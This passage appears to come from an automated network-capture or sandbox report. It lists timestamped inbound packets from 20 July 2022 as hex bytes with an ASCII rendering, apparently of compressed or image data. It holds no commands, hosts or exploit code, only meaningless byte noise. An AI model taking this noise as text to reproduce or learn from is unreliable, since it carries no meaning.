2a Data Ascii: Y&4$Pm\|EE#n%J6W4k _4DCB`R@t~d\eZR.Rb}~XK;3sR@kK;dscFP3n=dGJbRnR?X$aP>g\u4\,.QS8!H&3/1!2%*
2022-07-20 17:31:07 UTC	6555	IN	Data Raw: 74 80 0f 1d e5 48 da 4c c9 63 7a 1b 49 8c 15 15 bb 96 bc 57 f1 f0 7f 17 52 30 b6 10 44 8b 2c 80 51 4d 14 91 b5 4b 78 5b 8d f8 8f 77 2f 44 04 92 cf 39 48 5d 63 20 12 0a a9 6d 80 31 1b 9b cd a1 82 2a 71 32 88 c9 6c 75 90 cb d8 52 b4 00 81 65 dc 1b 97 f3 35 32 59 61 d4 09 ce 8b 91 8e c1 61 98 85 32 cb ba 6c 25 59 fe 17 19 55 e4 9e 6b 6f 8e 3e 6b c5 17 af a4 d0 ca 99 fe 4c c5 30 b0 c7 c8 6f 88 07 da 35 2c 3b 6d 75 e4 c4 b7 2d f1 7a 7f a9 a5 00 05 99 f3 86 4e 06 40 c7 c9 8a 39 16 36 a3 bc 6d bd 22 d7 8e 38 ee 92 1c 79 bf 12 2e 64 96 3f 99 a3 90 b8 96 5d 17 e6 08 3a ab b8 81 ec 70 c0 88 e4 3b f6 da b7 b4 5d cb 2f e6 7f cc ef e8 63 82 db a9 61 36 3c 0e c9 6c ce cb 44 81 85 2f 62 6c b6 39 63 f7 72 ac 9e d2 4f 67 cb f3 2f b2 58 d2 26 cf 58 7a 57 4c 6c d7 2e 39 0a Data Ascii: tHLczIWR0D,QMKx[w/D9H]c m1*q2luRe52Yaa2l%YUko>kL0o5,;mu-zN@96m"8y.d?]:p;]/ca6<lD/bl9crOg/X&XzWLl.9
2022-07-20 17:31:07 UTC	6571	IN	Data Raw: 47 46 91 61 4c c2 ee ab b5 76 d4 16 e1 48 fd a7 73 7f 99 e1 ea 55 b5 80 35 7f 26 cd 34 9d 31 10 3b 07 86 56 46 ad 2b b0 df 1a 79 d1 f1 fa fa d8 4c a4 ca c4 18 d9 59 79 2e 10 b5 58 c6 a4 06 01 96 cf f1 24 f1 37 3e fe b1 6e 09 90 bc 5c 1c 8c fe a1 8b 9b 22 c6 61 40 8e c5 1a a4 f6 db c7 62 b4 7c cf 75 ed 34 e8 f5 81 26 4f f3 3f c9 18 9d 49 84 fd 3b 97 04 d4 6b c0 04 2c 8d dd ba dd c8 59 77 fb 9a d1 a6 33 cf 7a c7 45 97 a4 4c 23 95 83 06 5a 82 36 6d f7 8b 6f a1 fa fa 99 02 ae 49 0a 9d 9b 0f d7 aa 48 66 d3 e4 6e a4 f1 64 c5 cd 72 ad 1b 55 2a d4 40 5b 71 65 9a ff 00 0e c8 f8 b4 97 e8 2e af 43 43 f3 57 5b f8 a7 58 e4 79 22 91 a3 66 36 05 0a cc 78 1a 5b bc 44 e6 c8 9e 35 9f 62 3d 73 da bc 9c b0 46 63 a3 e0 64 e7 64 ae 4c 74 48 81 a3 84 d9 d8 16 e5 68 57 f1 bb fe Data Ascii: GFaLvHsU5&41;VF+yLYy.X$7>n\"a@b\|u4&O?I;k,Yw3zEL#Z6moIHfndrU*@[qe.CCW[Xy"f6x[D5b=sFcddLtHhW
2022-07-20 17:31:07 UTC	6579	IN	Data Raw: 39 6c a0 85 1b dc cd 89 b4 77 9a e5 fd 47 d5 de ca 24 c4 26 29 1e 25 53 8e e5 c8 d8 45 4a b5 5b 8b 97 67 89 dc df 97 59 3d 77 03 7d f2 da 65 e5 65 34 c0 b4 51 25 c4 c9 68 6b 5a d8 fc 1e 1b 78 3c 4f df e6 49 a5 89 b6 f9 1a 16 ed f2 9b cd 0c 79 c1 95 65 0e b7 82 38 e3 0c d2 cb cc 4f c7 ca e6 7f 9a 4f 1a ff 00 65 ad d6 3f 11 16 5d 63 1f 27 1e dc 96 64 31 ad d5 8c 5d 7b 83 6b fb 5d fd ec 6b 3c 3e 5c 3b fe cb bf ae 86 a0 68 b2 c0 eb 18 b2 c4 92 63 35 e1 80 37 0d b7 29 ef df aa 4c 4d 1e 35 f3 bf cc c3 2f 3b 25 70 29 f0 cd b8 18 6d b9 69 e2 5b f9 52 3d ed 66 b2 78 95 ac af f2 83 32 58 f1 9c b6 11 47 c6 c6 96 f6 57 ed b6 b6 6f 8e ac 93 5f 18 8f 16 1f 82 ce 90 c8 8c b5 58 d7 6d 3c e8 ae 6d eb 2e fb 1a f2 da e6 f9 d1 71 fa e3 0b c1 ea be 30 95 93 c3 2a c2 a5 77 77 Data Ascii: 9lwG$&)%SEJ[gY=w}ee4Q%hkZx<OIye8OOe?]c'd1]{k]k<>\;hc57)LM5/;%p)mi[R=fx2XGWo_Xm<m.q0*ww
2022-07-20 17:31:07 UTC	6595	IN	Data Raw: d9 5f b0 be b6 b3 ca a5 01 ec 7d 1f 10 c7 d3 e0 5e 60 94 f2 c0 32 29 65 aa 11 b9 34 4e cb 7d ea 9d cd 6d 53 37 b8 57 5b 7c 58 60 64 c9 4a e2 b4 41 9d ab dd 43 66 f7 bc 91 d1 bc 5d 44 fc 4a 0b c3 f9 7d 11 79 78 73 72 e1 2a 40 50 01 09 5d eb f1 db 76 cf f1 13 44 95 03 3e 6a e9 2a d8 3c e4 c8 68 60 8d 36 8e d4 95 d7 d8 34 8d c5 1e f7 85 b9 ed 5e 5e 0d 22 8c 5f 44 9a 0c 71 28 90 b0 8d 86 e1 7e d1 2d 61 93 75 97 86 f4 47 47 fc 5d 66 d3 63 75 68 e6 5c 8b 32 bc aa c4 6e 10 c0 76 00 38 b7 78 f7 fb fa e9 f0 30 80 3f 96 fa b9 c4 8c c1 19 50 a8 28 2e 15 1d bf ab a5 cb e2 4b 52 59 75 fc 6b 08 69 21 52 5d ae 79 2d 06 d6 dd 64 4e 77 b6 47 fe 66 86 e4 5b 19 ec f8 95 55 0c 8e c1 59 6f 52 8d b4 2d 5a 3d ff 00 c2 f6 7c 1e 65 9a cd 8e 4a 8e b1 3f 2e 63 6c b5 46 00 15 2d 50 Data Ascii: _}^`2)e4N}mS7W[\|X`dJACf]DJ}yxsr@P]vD>j<h`64^^"_Dq(~-auGG]fcuh\2nv8x0?P(.KRYuki!R]y-dNwGf[UYoR-Z=\|eJ?.clF-P
2022-07-20 17:31:07 UTC	6611	IN	Data Raw: d6 a9 41 36 72 02 ae 9d 56 79 31 32 10 27 2d 55 90 54 de c1 cb ef dd bb cb f6 49 f6 ef d0 c9 26 9d f9 4c 02 a0 45 44 d8 41 03 74 7b a5 f3 55 2c fc 4d 52 aa 25 d9 84 e1 f4 f8 e5 c1 8e 82 d1 22 f3 00 4d 9c 7e 2e ef d8 6f ec 69 c8 9a 2a 87 4f 39 f9 a8 f8 72 db 0b 23 19 cd 0b 6f 03 1c 51 f2 d1 ed e5 e5 6e 78 d7 fe 1f b3 bf 49 e8 35 05 f6 77 2b 0e 07 9f 97 70 8c 16 34 17 36 e8 e2 4f b3 a0 70 77 a5 65 ae 5c 4c eb d9 5a 6c 23 b2 9a 1a 1a 33 5f 35 1c d9 30 d5 a5 c6 d9 03 ab bc a1 96 ce 26 8b 92 89 77 33 7d 5e 1e 66 89 3b 7b 7a a6 e0 cb 75 ac 98 25 cb 92 4c 43 48 64 0a 40 ec b7 62 df 1d be 83 69 a3 e8 3b 6a 71 ac 5c d1 fc a1 37 c2 62 bf 22 32 e9 ba c5 9b 76 35 99 ad 81 23 bf f3 7c 1b ec f6 7f cc d6 6f 53 e7 bb 8f 3d a7 e6 1c dd 37 3f 27 a7 49 8f 0c 16 d9 25 42 ec Data Ascii: A6rVy12'-UTI&LEDAt{U,MR%"M~.oi*O9r#oQnxI5w+p46Opwe\LZl#3_50&w3}^f;{zu%LCHd@bi;jq\7b"2v5#\|oS=7?'I%B
2022-07-20 17:31:07 UTC	6619	IN	Data Raw: 22 9a ad 36 2d 4d b1 58 cb ef 37 2f d4 79 9c 23 92 93 92 d0 c9 60 2f 23 c7 85 86 b6 ad 2e db c2 05 78 fd 2f 4f 5a 47 1d 4e cb 46 33 42 5e 18 41 08 e4 04 35 3d 94 f4 95 ec d6 7a f8 a3 8a 2d 6d 5a f3 95 50 34 9d 54 49 25 ea d1 a3 6c 67 e1 15 f3 57 56 e2 a7 6b b5 31 71 55 5e 6f f2 82 7a 8f 45 8c aa 64 34 8c ac 8a 00 b7 b0 b0 fd 8f 53 51 5b 49 cb 8f 3b b3 e2 be 60 1c 7e ab e3 f2 2a 2b da 2d a7 d1 ab 69 1d b6 a5 60 cd fc cf 8f 16 64 c7 23 0c 16 73 53 20 5a 96 5f cd 7f ec 6a 38 c1 f3 3d de 07 cb a7 ac ab 83 a3 84 98 c7 9a 4c 32 01 b1 48 f2 f7 1b 7b 89 35 26 38 7b 4e 5e 67 ed 96 38 fd 2b aa 62 35 d2 3c 98 d1 80 40 35 3d 87 dd 44 bd cb b5 49 49 d7 83 b5 bd 9c 72 e1 40 ce 95 d3 c3 96 8e 63 cc a0 34 20 50 1f 36 ed 54 9e fe 2c 6f 1d 62 ff 00 89 fe 0f f1 81 75 fe 93 Data Ascii: "6-MX7/y#`/#.x/OZGNF3B^A5=z-mZP4TI%lgWVk1qU^ozEd4SQ[I;`~*+-i`d#sS Z_j8=L2H{5&8{N^g8+b5<@5=DIIr@c4 P6T,obu
2022-07-20 17:31:07 UTC	6635	IN	Data Raw: 6d e7 04 ea 18 f9 4b 1d 14 b9 99 d6 84 77 47 e2 78 8b c7 ea 6a a6 57 a4 6a d3 b7 02 92 3e 81 16 3c 23 26 7d e6 90 9b 47 d1 4f f8 b5 34 c7 0e 05 8b b7 af 27 3d 60 f9 2c 43 95 fa 35 6d 9a e5 b6 a1 d8 cc f9 11 2c 55 dd 6a 50 12 3f 6d b5 5b 6a 6c 9f 4f 2f aa 1d d2 b1 d0 64 49 8e c4 2a c6 08 50 c6 9e 5b 57 73 be da cd bd 0c 2d 6e 29 41 4d 3f 85 95 40 0f 2d 1c 54 d3 c8 0f 9b a9 62 bb 6f 65 d2 15 f3 0f 56 c4 88 07 c6 90 c8 d2 0a 81 d8 14 7a 7e 9f a1 a1 65 69 1c d6 ef b8 57 6e b3 38 7a ee 4c 92 2b 5d 5b 76 01 e4 1a cd d9 ee 79 eb be b3 b4 a1 dd 47 ab cd 93 17 2e 45 4d b4 de 02 87 66 92 b4 e8 3e e3 b9 b5 ab c5 fa cb 7c 5e ab 88 98 2a 84 d1 e3 5a 05 1d ac dd ed dd 6d 5b c2 3d 0c 1d dd 71 d1 7e e1 27 48 c9 f0 9f 9a 18 b9 35 07 b4 7a 29 6e 8c 6d b3 af b7 b5 9a 9b 03 Data Ascii: mKwGxjWj><#&}GO4'=`,C5m,UjP?m[jlO/dIP[Ws-n)AM?@-TboeVz~eiWn8zL+][vyG.EMf>\|^Zm[=q~'H5z)nm
2022-07-20 17:31:07 UTC	6651	IN	Data Raw: 42 27 02 ab 22 76 13 e9 c6 fe cf 57 5b bf 03 d4 b7 e6 76 c4 f8 5b d0 54 75 1e b5 26 6c 4a d2 bd 48 f2 7d 7a 4d b6 e0 f3 fb 8e f7 dd af ca 57 41 76 61 10 96 34 15 20 57 60 d2 6f 8e a7 9b 49 bf 4c 91 ae 53 63 b5 a3 b3 e8 fa 74 e2 4c f9 41 6b 84 bf ea 2e a1 10 f6 ed 5a f1 7d ef 33 49 e8 75 62 5c d8 46 3e 3c f8 d3 c9 14 31 96 71 da be 55 ee ad ff 00 7f 50 d4 a3 5a ab 56 cd 55 14 c3 c1 9c 19 14 d5 1b 6a f6 1d 9d df 5b 5a 1c 6b a5 eb e9 37 d2 75 a8 7a 8a 87 08 01 2a 36 1d 94 a7 0f eb ea 55 a0 fa 5c 3d cd 5a d0 cb fc d3 d4 a2 c8 ca 0b 1d 19 23 50 a2 d2 48 3d f6 e2 e0 d3 52 cf 17 bc ca af 60 0e 99 09 c9 95 21 a1 55 73 42 76 d0 13 c3 76 86 61 86 ae cf 8f ce 5a cf d2 e3 c3 c5 63 38 f1 4c 8c 81 ab db 6f e1 fa 1a 0e dc 9d ba c7 4e af e2 72 2b ba aa 2b f2 ca 28 40 a9 Data Ascii: B'"vW[v[Tu&lJH}zMWAva4 W`oILSctLAk.Z}3Iub\F><1qUPZVUj[Zk7uz*6U\=Z#PH=R`!UsBvvaZc8LoNr++(@
2022-07-20 17:31:07 UTC	6658	IN	Data Raw: f4 77 ec 93 4f dc 2e b8 dd 41 59 b1 21 90 49 24 c3 16 6b 68 51 e3 2c 9e bf c5 62 b4 bb bf c8 d7 2d ea ac a0 d1 d7 90 53 e1 e4 5a 72 66 92 f0 10 35 c8 44 97 31 e1 b9 bd a4 71 f0 71 a6 b9 2d 85 26 2e 26 7a 6c a9 1a 75 9a 2d a5 0d 91 d7 6d 64 ef 3f d8 bb 54 d6 9a fd 28 25 5d 0d 1e 0c 29 83 09 b7 6b 50 b3 b9 e2 66 3b d2 ef 79 97 f0 eb c8 cb 6f 71 fe e1 2d c9 0e 24 73 f5 16 00 14 df a9 21 88 55 a7 76 f6 7d 7b 38 aa aa 92 37 aa 18 b9 99 7d 36 32 98 8e dc a3 b5 a2 35 b3 d6 5e ff 00 ee 6b b5 a4 f7 2e 48 71 70 c6 6b 2e 73 16 52 ac 4d 18 50 55 45 ec 8b 27 a6 bd cd 73 da bc 74 30 68 0b 9f 0a 49 72 64 58 69 42 0c 77 8e f7 71 ef 8b bd de d7 3b db cb cb ef 0d 05 e3 e7 63 b3 73 73 2c 56 2b 55 71 51 5b ae 5b 16 3f 67 c1 ec f9 7c 1a c2 1e d5 0b 23 83 2f 1a 3d dc 58 43 46 Data Ascii: wO.AY!I$khQ,b-SZrf5D1qq-&.&zlu-md?T(%])kPf;yoq-$s!Uv}{87}625^k.Hqpk.sRMPUE'st0hIrdXiBwq;css,V+UqQ[[?g\|#/=XCF
2022-07-20 17:31:07 UTC	6674	IN	Data Raw: 87 2c fa 1a c5 74 8a 93 48 eb 16 3b e4 06 b5 d0 6c 03 cb 5e 2d 75 76 ee 0c 3b dd 31 bb 47 92 bc cc e3 66 bc 67 99 11 df ba ea 7f 5d da ed dc f8 af ea 5a d6 be 60 e4 eb a1 d5 d7 31 0d 48 d8 bb 46 dd 3d ce 8f eb 79 26 ae 83 ba 77 58 38 78 c5 11 05 5d 81 2c 4f 61 f5 74 93 3a bb 7e e3 db 5b 02 75 fc e9 1d a2 49 08 3d ac 69 db b7 bb a2 64 5d ff 00 70 df 1a fd f0 7c de 97 b9 cf 8f bb fe fd 4a b7 81 c5 9b b7 d3 9a 01 83 02 7c b0 5e 3a 5c 3c 87 b4 ea 9b 83 97 1e 1b 64 f2 96 3d 09 b2 63 3b a0 b4 75 17 a9 d3 5b 9e 97 e5 ef 25 5f 4f f0 ff 00 98 6b 73 fe 03 aa e3 36 10 36 32 ed 1e 6d c3 be b6 f7 74 f5 3d 2c f8 1e 5d cc a6 16 3c 68 c1 d1 aa 51 b6 03 b3 ee ea 1b 3c ec 78 95 5c a7 e4 25 9e 17 85 c3 bb 04 bc 54 50 dd 41 5e fd bc 1a 24 dd bb 55 f2 9e 06 8f 32 08 f3 31 a4 Data Ascii: ,tH;l^-uv;1Gfg]Z`1HF=y&wX8x],Oat:~[uI=id]p\|J\|^:\<d=c;u[%_Oks662mt=,]<hQ<x\%TPA^$U21
2022-07-20 17:31:07 UTC	6690	IN	Data Raw: 8b 98 c6 df a4 7d 5a ce c9 33 8f 25 15 fa 59 69 88 81 63 b9 45 14 35 a4 0e de cb ae d7 33 a6 a4 76 df 97 53 7b f5 94 99 5d 5a 7c 07 7c 75 6d f5 72 6e 27 69 1e 6b 6a f8 9e 46 66 fb 7b da 94 f4 95 52 34 e5 ef 67 6b 8e d0 6b f4 e9 e8 ce 1b 59 d9 cb 0e 49 ba 94 89 63 c8 d6 d0 0a 56 9a c7 db a2 d7 89 75 c1 67 aa a8 d8 a2 c9 60 5c a3 1a 79 4f 97 53 67 55 a1 df 87 b8 f6 97 1b 0c 9f 25 e2 4a 90 56 bb 01 3a 2b 44 d9 d1 7f cc 14 45 49 9b 38 bc 02 36 34 2e ab d9 e5 a1 ef 6b 64 8f 32 f9 dd f7 20 c6 93 29 a7 0e 1e a2 b4 a1 6e e8 ee e9 5a b5 88 83 99 56 41 b3 a6 0b 92 6e 15 a5 2b fa 75 74 5a 06 c5 84 6f 01 5d f6 52 08 ad 2a 2b ff 00 9b 51 a9 d1 8d a5 b8 12 42 24 06 8d 63 ae d0 7b 35 ac c1 a6 ff 00 50 31 9b 1a 44 45 8c d6 52 05 47 6d 4e 91 db 5b d5 c2 9e b0 94 e9 dc d4 Data Ascii: }Z3%YicE53vS{]Z\|\|umrn'ikjFf{R4gkkYIcVug`\yOSgU%JV:+DEI864.kd2 )nZVAn+utZo]R*+QB$c{5P1DERGmN[
2022-07-20 17:31:07 UTC	6698	IN	Data Raw: cb 90 81 ba 09 d9 f4 0d 39 83 36 e4 8d a2 b0 d0 51 be bd 02 1a 61 04 fd 67 44 8c 3f 18 8c 44 aa 8a 9a 6d 3a 97 a9 ad 5c 11 e0 e2 3f 52 c9 09 70 af 6e df 2d 35 7f a0 ac 75 e7 68 2e b3 3a 36 23 8f 00 98 dc 6c 24 ef 03 fb fa d3 db 67 bc ff 00 2b 4d 68 fd b2 9b 37 a7 3e 18 0c 48 28 76 5d f5 f9 ba 86 a0 f2 fb ae d1 e0 89 7c f9 16 78 7d 62 1c 91 14 0e 64 e6 9d d2 c6 94 1e 6e 8a e8 75 76 5d e7 1f c3 7f ae 5c 41 0c cf 5e 48 a9 1f 46 b5 6d 2d cf a5 79 92 5a 95 19 df 2e 64 be 45 61 5b d5 f7 98 92 16 d2 78 d7 c4 b7 5c f6 b2 3e 47 ba a2 77 6e be b1 a7 e4 bc a7 35 0d 1a af d2 5e bf f2 d5 f5 0a e7 2b c4 1b 8f f2 30 14 e6 4c 5b e9 b1 36 7d e9 1b f7 34 b9 b1 7b 41 e3 e5 45 51 b1 98 81 e5 34 db f7 35 32 2f 64 b0 8b e5 e8 22 ec 88 31 23 69 20 bf ed f8 7a 5c 8b 58 d2 0c 5c Data Ascii: 96QagD?Dm:\?Rpn-5uh.:6#l$g+Mh7>H(v]\|x}bdnuv]\A^HFm-yZ.dEa[x\>Gwn5^+0L[6}4{AEQ452/d"1#i z\X\
2022-07-20 17:31:07 UTC	6714	IN	Data Raw: 23 5e 9c 48 41 a0 c0 cd 01 45 19 94 d4 6d ed 06 bd dd 72 5a a7 3d ea 5d c6 d4 34 1b 7c 84 1f 2f 9d af 3a ee 4c 10 d5 47 c2 ca 4c cc 36 e5 4a 9b 41 a6 e8 d9 cb fb 3b ba d3 1e 56 91 a2 b4 07 ac 8f 32 84 3d bd dd 72 35 a9 25 e0 ea 43 a6 4d 8d bd 76 38 56 0e 9d e4 2f 6a 65 25 eb c7 bf 1f 36 2d 77 53 2f 08 8e aa 7c 9f 21 b2 b4 00 f5 cc b3 62 4c 49 e6 c9 23 33 83 f4 ad 8c 9f f3 7f 53 4b 25 b9 29 25 b2 a3 2b 32 e1 72 6e dc 01 75 5d 8a 58 77 ac e1 d6 49 b7 b9 20 f8 59 45 6a e0 da dd 83 eb f4 6e d3 b2 8d 85 01 3d 2b 21 16 7e 6c cf 45 42 08 06 b4 2d a6 b4 25 83 cb 95 28 c9 90 20 aa d2 8b 5f f8 75 3c 54 48 02 4b 9c d1 06 0e 28 4e cd 68 b1 ce c3 dc 1c 4e 64 ab 33 13 5f 29 ad 4b 6b 57 50 81 b1 c9 b6 ce d2 76 01 a6 ea 38 1f 2e 44 98 b9 0b 1c cb 58 cd 55 d1 bb ac a6 c9 Data Ascii: #^HAEmrZ=]4\|/:LGL6JA;V2=r5%CMv8V/je%6-wS/\|!bLI#3SK%)%+2rnu]XwI YEjn=+!~lEB-%( _u<THK(NhNd3_)KkWPv8.DXU
2022-07-20 17:31:07 UTC	6730	IN	Data Raw: bc 52 49 a9 df a9 35 a9 e2 66 d4 dd 48 83 e2 51 35 61 2b 7a 0a b7 d3 5a 71 37 d9 b3 59 24 fc 0a 92 46 86 1c 97 12 ca 37 f6 0a f6 fa be be a7 9b 44 b6 48 f1 a4 6d 42 06 c0 3c 9a cb 52 07 a6 39 b0 7e 92 2a 34 a7 c4 08 79 0e f1 d1 8d 18 28 a5 7f 5f 5a 72 40 41 26 34 c0 06 00 82 a2 84 53 eb d5 2b 2d 80 7e 24 72 4a 04 4a 29 28 16 d2 87 68 ae ee ef ea 68 6b 51 a0 98 e1 75 5e 56 dd d7 20 fd 5b db 97 7d fe 3d 4d ab d4 51 60 98 a4 90 1b 61 5d 84 7d 1a cd 55 b7 00 3d 3a 5c 31 f3 0f 68 60 4e d3 d9 e6 dd ae df 6d 3f d5 fd 41 9f ff d6 a5 50 5f 67 60 3a f9 87 a1 ce 4b c9 7a 50 f9 75 3c 91 27 19 0a ec d0 9c 80 cb 6b da 69 a7 23 1c f1 ec aa 9e ce dd 09 80 db 6a 29 db a7 20 34 43 b6 a7 47 20 25 e4 a8 3b 46 a7 90 87 18 d5 7b 7f 4e 94 8c 61 37 0a 9d 50 c6 bd 01 b5 4e cd 34 Data Ascii: RI5fHQ5a+zZq7Y$F7DHmB<R9~*4y(_Zr@A&4S+-~$rJJ)(hhkQu^V [}=MQ`a]}U=:\1h`Nm?AP_g`:KzPu<'ki#j) 4CG %;F{Na7PN4
2022-07-20 17:31:07 UTC	6736	IN	Data Raw: b2 44 d6 6c 55 b4 9a d6 9c 3b de d1 6c d0 ea ed a3 18 3c b1 89 37 85 2b db ab 4e 04 56 cd 19 b9 41 ec f2 fe 8e 2d 74 d5 8c e4 d4 52 44 63 65 68 34 eb fa 46 4b 1c 17 02 c4 52 9b 29 f5 ea 1d 80 90 1e c1 d9 4f fc 35 22 23 a8 91 80 3b 06 ab 61 10 b1 61 b3 b7 56 80 50 26 f6 d1 db a2 cc 4c 90 44 6b b7 53 20 38 a5 41 5f fc 74 a4 44 cb 12 d3 eb 1a 86 c4 39 58 13 42 36 69 40 8e 8d 82 9d ba 00 9a a0 03 ac c0 45 d5 40 07 b7 44 48 0d 56 be ab f4 ea 9a 80 22 98 d8 d6 f6 81 aa ae a3 12 b5 d4 1f 4e 88 80 15 56 96 83 d9 a2 00 85 99 7b 46 ad 01 ce 79 0b b7 cb a7 c4 63 1e 63 4d 35 51 8c 59 ca 10 d5 d3 75 90 24 32 8b b6 ec d2 80 81 ea 48 a1 ad 6b a9 60 3d cd 36 0d 4a 02 08 48 5a a7 d2 7b 75 a5 b5 d4 04 5f 6d 3e 8d 10 02 07 69 27 b7 40 84 8a d2 1e 5a 0a b9 ec 03 b4 e9 8c 51 Data Ascii: DlU;l<7+NVA-tRDceh4FKR)O5"#;aaVP&LDkS 8A_tD9XB6i@E@DHV"NV{FyccM5QYu$2Hk`=6JHZ{u_m>i'@ZQ
2022-07-20 17:31:07 UTC	6752	IN	Data Raw: 66 e5 7a c9 ca 78 ff 00 86 fa 79 eb ed bd 3c b9 bc 82 40 1d 16 68 b0 f3 5a 59 1a cc 77 11 da ad c0 4c 9c af 16 25 e0 5b e4 4f b1 bf ad f1 64 87 54 cb ae e6 a3 a9 fc c3 f0 58 8d 0c 8a 59 ed a5 df 5b 2f 35 35 e9 e5 ee b8 2d b9 58 b9 45 1f 50 53 26 16 61 0a 39 f2 04 02 de 22 64 11 37 21 7b d2 6f e4 6f 6b cd b2 4d b9 f3 f2 c7 90 22 50 de 9a d2 74 de 9a 71 c0 06 65 2a 18 29 0d 75 e6 5d cb a3 bb 7b 73 97 a9 bb 85 64 be 6a 91 00 9d 6a 76 4c 31 08 ad 24 28 0d 7c b7 05 9f 5c b5 a3 ab d7 e5 f7 0c ec 1b d3 d5 71 b1 0d 0d 79 73 c6 ff 00 7e 35 77 5f b2 d1 6b 67 a5 15 bf cb cb 50 41 f9 b9 31 bc b7 12 dc 9a 9a 9a 8a 54 ef 22 aa 7e de b5 b6 7a b7 f5 00 cf a4 e1 ba 86 e3 51 11 0a 86 7a 2e d9 0d d2 73 38 ec e2 fd 4d 25 96 5a 12 61 1d 62 59 f1 bc 04 0b 7b 76 10 ca 4d 3b d2 Data Ascii: fzxy<@hZYwL%[OdTXY[/55-XEPS&a9"d7!{ookM"Ptqe*)u]{sdjjvL1$(\|\qys~5w_kgPA1T"~zQz.s8M%ZabY{vM;
2022-07-20 17:31:07 UTC	6768	IN	Data Raw: 57 33 cd e6 49 7e 2c 9d ce 6f 2f 51 6d 76 fe 67 ee 7a ff 00 c6 64 15 d2 ba 94 e4 e2 96 53 c8 c6 67 57 60 0d c1 26 0f 17 2a 6f e1 64 be e7 dc d2 ad a2 55 bf 97 5b 7e df f7 06 83 b1 32 70 ba 56 5c 12 0c 87 9b 9b 58 25 47 a0 b1 24 6f 13 98 ec fc 0a f2 a4 91 fd fd 3c 5b d5 a7 d3 93 cc 5b 40 3d 66 21 d7 25 c7 86 69 50 4c 44 b1 5d e4 94 c6 62 e4 dc dc 17 cf 15 fc a9 38 1d f7 34 db 89 b7 af fc 04 16 dd 2b 3e 1f 99 3a 76 47 4e 06 86 32 cb 53 b0 28 91 e4 48 9f f9 12 c3 8a fa e9 a2 e8 8f a7 5f fb 60 ca ce 9b d4 25 c7 c3 32 c6 7c 42 40 db e8 b2 c5 2f df e0 d7 8f 2e 97 80 ab 80 ee af 92 87 19 43 00 d9 2f 28 62 c4 6f 14 88 3c 76 bf ea 7e de ba 5e 45 c7 5f e2 f2 2f 90 4f 4e cc 6e b5 95 8d 9e 08 45 45 92 36 1f c6 47 c7 82 5f 52 f8 6c d7 6d 2e db d4 4e d2 64 53 3a 0f 8f Data Ascii: W3I~,o/QmvgzdSgW`&*odU[~2pV\X%G$o<[[@=f!%iPLD]b84+>:vGN2S(H_`%2\|B@/.C/(bo<v~^E_/ONnEE6G_Rlm.NdS:
2022-07-20 17:31:07 UTC	6774	IN	Data Raw: d0 d6 87 b1 b6 6f 2b 7d a5 d5 ab f1 d8 44 c6 08 e5 8e b5 1c cd a4 d7 ca 3b 9a 7c 93 5f 5c a8 02 68 ec 91 6b d8 0d 2b f4 0d 42 72 10 14 b0 c7 19 01 c8 05 81 50 df 4f 14 8a bf 67 44 f2 fb a1 03 51 23 24 33 8a 6c 1b 7e 8d 42 91 12 a7 4f 85 0a d8 a0 03 41 fa 76 dd 6f ab ad 15 9b 68 ae 27 24 c2 49 64 75 24 00 a7 61 5e cf e8 ba 1b 86 10 4d 36 10 75 bd 94 06 49 08 3e a9 55 68 e5 4f 3a 36 d6 d6 a2 55 fd ff 00 fd 77 14 0a 15 41 1a 32 1d bd ef 5b ff 00 2e b0 b6 d2 86 49 24 e0 d1 80 a3 ae c3 4f 2f 76 ff 00 ed a6 95 ac be c8 1d 7c ea a8 28 02 fd 7e 4d 87 49 b7 a0 e4 8b e2 af 8d a5 a8 36 db fa d7 7f 63 42 c4 da 76 f9 05 c8 67 fa b7 2c ee 9a 00 3f af 68 e2 d5 51 b4 29 20 3d 6c 8d a0 d2 87 b3 eb 3d ed 52 ad 85 c8 0f 27 ac 98 a6 7e dd bb 47 f5 ef 5b ad 3d ae 5a a0 e4 0f Data Ascii: o+}D;\|_\hk+BrPOgDQ#$3l~BOAvoh'$Idu$a^M6uI>UhO:6UwA2[.I$O/v\|(~MI6cBvg,?hQ) =l=R'~G[=Z
2022-07-20 17:31:07 UTC	6790	IN	Data Raw: 91 f4 0d 4f b0 90 86 bf 52 90 d5 7c b4 14 d3 58 90 13 c5 d4 e5 40 40 24 d6 95 fa 77 75 0f 12 63 14 5d 45 da 4b ab 52 36 d3 cb d9 ba da 4f 12 48 08 db ab 48 09 a1 dd fa f5 4b 0a 02 29 72 da 45 52 c7 67 6f e8 d5 aa 40 86 ac 8c 58 dc a4 81 f4 69 b4 04 e0 16 17 39 ff 00 ec fd ed 67 fd 83 08 8b 11 e4 02 d0 76 f6 1f ab 50 ee 90 0c 4c 0b 40 7b bb 6a 68 46 c2 3d 1d 37 93 c0 70 32 78 77 c0 4d b5 34 00 56 bf 77 55 47 23 82 66 c7 6c 42 d0 cc f1 19 81 35 50 58 91 4e e3 49 cb e4 df e8 a4 ba ab d2 05 04 a9 89 7c 57 35 56 f5 fb bb 75 ce ef 0f ec 8a 09 24 cb 61 18 e7 02 4d 2c 63 f4 b5 5d 92 4e ef 73 47 14 fc a3 24 e5 3a aa b0 5f 08 11 46 1d de f7 d8 f3 35 1b 82 40 e6 53 24 cb 0a a5 5e 47 dd 1d b5 2d dd 5b bf 11 f5 ad 31 b7 b1 68 25 8a 1b e3 75 31 cc a2 85 5b b6 ee f6 ee Data Ascii: OR\|X@@$wuc]EKR6OHHK)rERgo@Xi9gvPL@{jhF=7p2xwM4VwUG#flB5PXNI\|W5Vu$aM,c]NsG$:_F5@S$^G-[1h%u1[
2022-07-20 17:31:07 UTC	6806	IN	Data Raw: 4c 4d 7e 92 08 ba 7c 92 53 9d 01 0c 9b 56 e2 cc 47 a5 74 97 ea 60 b5 60 d6 e9 b9 56 8a ba 28 f5 49 3f f3 74 b9 02 86 40 3a 46 79 6a a4 ca a0 79 44 00 d3 fc 47 d4 f2 93 49 4b fd e2 db 03 16 48 97 c6 c8 79 1f e9 0a b1 81 f6 6c d5 55 11 7b 7e 82 7c a9 10 21 50 f3 31 3e 68 2d ff 00 a7 66 b6 39 c0 48 7d 8e 24 74 03 b4 b1 44 3f 7b 97 cc fb 3a 99 2c 73 65 45 65 a7 30 7d 64 d1 dc 0f 37 72 2b 35 72 4c 7e 80 37 ea fd 3b 15 cb 7c 4c b2 02 38 45 55 47 ea 45 1e 89 06 99 11 f9 97 15 93 72 31 4f 2b dc 3f e6 40 92 7e d2 69 8b 88 14 1f 35 47 13 7f 94 8d 69 e5 60 84 b1 fe 6c b2 6f 69 c0 a0 95 ba cf 